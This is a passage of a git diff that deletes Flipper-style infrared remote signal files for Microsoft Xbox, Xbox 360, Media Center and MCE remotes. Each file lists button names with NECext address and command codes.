NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir deleted file mode 100644 index 20929d4f6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: FFW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 39 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 39 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 58 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 59 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F4 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F4 00 00 00 -# -name: CURSOR_-_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir deleted file mode 100644 index 59f21bd3d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: WINDOWS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: MORE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: SKIP>> -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: REPLAY<< -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 46 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 47 00 00 00 -# -name: RECORDED_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: PICTURES -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 49 00 00 00 -# -name: VIDEOS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4A 00 00 00 -# -name: \PRINT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4E 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir deleted file mode 100644 index 9bc0f3999..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: Xbox -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 39 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: More -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 59 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 9A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: CE 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: D6 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: D7 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 05 00 00 00 -command: DA 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: E7 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F4 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F4 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F6 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F8 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir deleted file mode 100644 index 81c182d93..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1B 00 00 00 -# -name: Reload -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1D 00 00 00 -# -name: UpArrow -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1E 00 00 00 -# -name: DownArrow -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1F 00 00 00 -# -name: LeftArrow -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 20 00 00 00 -# -name: RightArrow -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 23 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 24 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 25 00 00 00 -# -name: KEY_Y -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 26 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 28 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 4F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 51 00 00 00 -# -name: XboxFancyButton -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 64 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 66 00 00 00 -# -name: KEY_X -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir deleted file mode 100644 index 8f1b16777..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: SELECT_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 12 00 00 00 -# -name: SELECT_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 13 00 00 00 -# -name: SELECT_MIDDLE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 14 00 00 00 -# -name: SELECT_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 15 00 00 00 -# -name: SELECT_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 16 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 22 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 23 00 00 00 -# -name: SKIP- -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 24 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 25 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 26 00 00 00 -# -name: SKIP+ -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 27 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 41 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 42 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 43 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 44 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 81 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 82 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 83 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 84 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 85 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 86 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 87 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 88 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 89 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 8A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir deleted file mode 100644 index 9f198bbc9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir +++ /dev/null @@ -1,434 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: DIGIT_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: WINDOWS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: MORE_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: FAST_FWD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: NUMERIC_POUND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: NUMERIC_STAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: MENU_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 27 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 28 00 00 00 -# -name: MY_LIGHTS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 33 00 00 00 -# -name: MY_DISTRIBUTED_AUDIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 34 00 00 00 -# -name: MY_THERMOSAT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 35 00 00 00 -# -name: MY_SECURITY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 36 00 00 00 -# -name: ONLINE_SPOTLIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 3C 00 00 00 -# -name: YELLOW/MY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 46 00 00 00 -# -name: GREEN/MY_MUSIC -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 47 00 00 00 -# -name: RECORDED_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: BLUE/MY_PICTURES -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 49 00 00 00 -# -name: RED/MY_VIDEOS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4A 00 00 00 -# -name: DVD_ANGLE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4B 00 00 00 -# -name: DVD_AUDIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4C 00 00 00 -# -name: DVD_SUBTITLE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4D 00 00 00 -# -name: PRINT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4E 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 50 00 00 00 -# -name: TELETEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 -# -name: TELETEXT_INDEX -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5F 00 00 00 -# -name: ORANGE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 60 00 00 00 -# -name: XE_HOME -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 64 00 00 00 -# -name: 